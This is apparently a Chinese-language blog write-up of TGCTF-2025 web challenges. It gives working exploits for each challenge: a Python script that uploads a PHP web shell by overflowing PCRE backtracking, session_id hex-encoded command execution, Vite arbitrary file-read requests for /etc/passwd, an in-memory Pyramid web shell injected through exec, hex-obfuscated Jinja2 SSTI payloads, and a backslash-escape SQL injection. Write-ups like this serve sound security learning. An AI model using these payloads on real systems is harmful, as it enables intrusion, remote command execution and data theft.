TGCTF-2025

web

(ez)upload

考点

move_uploaded_file(

move_uploaded_file(string $from, string $to): [bool] 函数缺陷:若第二个参数可控,就可以自定义上传文件后缀名。

PCRE回溯

关于PCRE回溯,即贪婪模式.*或非贪婪模式.+?

然而PCRE引擎在处理正则表达式的时候,有一个默认的回溯机制(100w次)

贪婪模式
1
preg_match('/<\?.*[(`;?>].*/is',$str)

由于在匹配到;?>]之前已经有了.*,所以会发生 匹配过猛的现象,会造成回溯

非贪婪模式
1
if(preg_match('/.+?</s', str)) 

由于在匹配到<之前就已经有了.+?,此处的.+?每次只匹配一个字符,当下次匹配不到<的时候,就会回溯调用.+?。再继续匹配<。会发生匹配不足。容易造成回溯


题解

访问upload.php.bak拿到源码进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

其中漏洞点在move_uploaded_file

1
2
3
4
5
6
7
8
9
10
11
if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
}

如果有get传参的name,就会以get传来的数据作为移动的文件名。所以move_uploaded_file函数的第二个参数我们可控。那么就可以通过这个绕过后缀名黑名单。黑名单没过滤.txt

另一个漏洞点就是PCRE回溯

1
2
3
4
if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
}

非贪婪匹配 < 如果有<则会返回true。但是这里存在PCRE回溯。通过塞入大于 100w的脏数据来让这里返回false即可绕过。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests 

url = "http://182.92.xxx.xxx:9111/upload.php"

payload = "a" * 1010000 + '<?php system($_GET[1]);?>'

files = {
'name':('1.txt',payload,'text/plain')
}
params = {
'name': '1.php/.'
}

data = {
'submit': '上传文件'
}

response = requests.post(url=url,files=files,data=data,params=params)
print(response.status_code)
print(response.text)

shellUrl = "http://182.92.xxx.xxx:9111/uploads/1.php"
cmd = shellUrl+'?1=env'
cmd_req = requests.get(url=cmd)
print(cmd_req.text)


我这里并没有设置flag。因为我是本地启动的docker。


后台管理

考点

考点在源码中,属于代码问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from flask import Flask, request, redirect, render_template, render_template_string
import pymysql.cursors
import os


def db():
return pymysql.connect(
host=os.environ["MYSQL_HOST"],
user=os.environ["MYSQL_USER"],
password=os.environ["MYSQL_PASSWORD"],
database=os.environ["MYSQL_DATABASE"],
charset="utf8mb4",
cursorclass=pymysql.cursors.DictCursor,
)


app = Flask(__name__)


@app.get("/")
def index():
if "username" not in request.cookies:
return redirect("/login")
return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")

if username is None or password is None:
return "要输入账号密码喔~", 400
if len(username) > 64 or len(password) > 64:
return "哈~太长了,受不了了~", 400
if "'" in username or "'" in password:
return "杂鱼,还想SQL注入?爬!", 400

conn = None
try:
conn = db()
with conn.cursor() as cursor:
cursor.execute(
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)
user = cursor.fetchone()
except Exception as e:
return f"Error: {e}", 500
finally:
if conn is not None:
conn.close()

if user is None or "username" not in user:
return "账号密码错误", 400

response = redirect("/")
response.set_cookie("username", user["username"])
return response
else:
return render_template("login.html")

username 与 password 不能超过64个字符,且过滤了'

格式化字符串字面量的方式嵌入SQL语句。正因为如此,造成了漏洞。

虽然过滤了',但由于'{username}' 我们的username可以传入转义字符\ 这样就会把闭合的'进行转义。

1
2
3
4
5
6
7
8
9
10
11
//假设username=admin password=123
f"SELECT * FROM users WHERE username = 'admin' AND password = '123'"

通过转义后变为了 username=admin\ password=123

f"SELECT * FROM users WHERE username = 'admin\' AND password = '123'"
这时候就可以进行sql注入

SELECT * FROM users WHERE username = 'admin\' AND password = 'union select * from flag --+'

从而达到让我们的恶意sql语句从单引号逃逸出来。

题解

库名

通过这种方式判断字段数为 2,回显位为1

库为 tgctf

flag

这里我尝试猜表名与列名,因为字符必须小于64。


偷渡阴平

考点

session_id rce

开启session后,获取PHPSESSID的值(由我们可控)。从而rce。

session的格式:十六进制

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);




没有过滤session_id。首先我们需要开启session获取 session_start()。然后构造我们的恶意命令 ls => 6c73。并且使用hex2bin()将十六进制数据转换为原始二进制。即ls

题目很友好,没有给system过滤

1
2
GET: http://154.23.163.97:1234/?tgctf2025=session_start();system(hex2bin(session_id()));
COOKIE:PHPSESSID=6C73202F

flag在根目录

1
2
GET: http://154.23.163.97:1234/?tgctf2025=session_start();system(hex2bin(session_id()));
COOKIE:PHPSESSID=636174202F666C6167

前端GAME

考点

最近爆的 Vite 任意文件读取漏洞。

https://www.cnblogs.com/risheng/p/18795361

题解

获取到vite版本 符合漏洞版本。读取/etc/passwd

http://154.23.163.97:1234/@fs/etc/passwd?import&raw??

读取/proc/1/cmdline

启动了一个start.sh脚本。

获取flag路径 /tgflagggg


前端GAME PLUS

考点

https://mp.weixin.qq.com/s?__biz=MzkyMTcwNjg4Mw==&mid=2247483811&idx=1&sn=2b4403023fd911f611bf5590ea3796d6&scene=21#wechat_redirect

POC 1

  1. 仅影响Vite 6.0及以上版本(即>=6.0.0的受影响版本);
  2. 仅当被读取的文件大小小于build.assetsInlineLimit配置值时(默认值为4KB)。
1
curl "http://localhost:5173/etc/passwd?.svg?.wasm?init"

POC 2

如果知道Vite所在的绝对路径,可以利用如下POC

1
curl --request-target /@fs/x/x/x/vite-project/#/../../../../../etc/passwd http://localhost:5173/

HTTP 1.1规范(RFC 9112)规定在请求目标(request-target)中不允许出现#字符。然而,攻击者是有可能发送包含#的请求的。对于那些请求行(包含请求目标)无效的请求,规范建议服务器返回400错误请求)或301永久重定向)状态码来拒绝这些请求。对于HTTP 2协议也是类似的情况。

所以需要 --request-target 参数

题解

前端GAME Ultra

考点

就是PLUS版本的POC2


火眼辩魑魅

考点

Smarty 模板渲染

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
require './Smarty/libs/Smarty.class.php';
$smarty = new Smarty();
$ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
echo "OvO 你电脑的IP是:";
$smarty->display("string:".$ip);
?>

传参点在XFF

题解

确认存在 SSTI。

flag在根目录 tgfffffllllaagggggg


熟悉的配方,熟悉的味道

考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = '''
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Calculator with Code Highlighting</title>
<link rel="stylesheet"
href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/default.min.css">
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
pre { background: #f5f5f5; padding: 10px; }
</style>
</head>
<body>
<h1>Calculator</h1>
<form method="post">
<label for="expr">输入表达式:</label>
<input type="text" name="expr" id="expr" value="{{ expr_input }}" placeholder="输入二元表达式,例如: 1+2 或 3-4 或 5*6 或 7/8" style="width: 300px;">
<button type="submit">计算</button>
</form>
{% if result != "" %}
<h2>结果: {{ result }}</h2>
{% endif %}

<h2>代码:</h2>
<pre><code class="python">
{% raw %}
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()
{% endraw %}
</code></pre>
</body>
</html>
'''

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()


pyramid框架的无回显RCE打内存马。

漏洞点在exec函数

1
2
3
4
5
6
7
8
9
10
11
12
13
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1

内存马

1
exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")
1
2
3
4
5
6
import sys; #导入Python的标准库模块sys,用于访问与python解释器相关的变量与函数 
config = sys.modules['__main__'].config #获取当前环境中全局命名空间config对象,config对象在pyramid框架中的作用是负责定义应用的行为,这里我们用它来创建一个新的路由
app = sys.modules['__main__'].app #同上,获取全局命名空间app对象,是一个WSGI兼容的应用示例,用于python与web之间的通信
config.add_route('shell','/shell') #创建一个新路由,名:shell。路径:/shell
config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell')# pyramid中用于将视图与路由绑定的函数,用于处理HTTP请求并返回响应。这里是通过get传参1执行系统命令后通过 Response对象返回结果。绑定路由名为 shell。
app = config.make_wsgi_app() # 创建一个新的WSGI应用实例。

题解

注入内存马。


直面天命

考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"<pre>{source_code}</pre>", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

考点是ssti,只不过给{{}}替换了。然后黑名单过滤可以使用fenjing梭。

题解

访问 hint得到提示

aazz存在源码

天命会被替换为{{`,难违替换为`}}

这里可以使用fenjing,cp源码到本地开启服务。并且去掉{}过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist=['lipsum','|','%','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls /")
config_payload = config_payload(waf)

print(f"{shell_payload=}")
print(f"{config_payload=}")

跑出来的payload把{{}}替换为天命难违

但是还需要把后面的一些os,popen,read也替换为十六进制编码。

1
name=天命(namespace["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['\x6f\x73']['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg'))['\x72\x65\x61\x64']()难违


TGCTF-2025
https://r3bir7hcx.github.io/2025/04/25/TGCTF-2025/
Author
CXCX
Posted on
April 25, 2025
Licensed under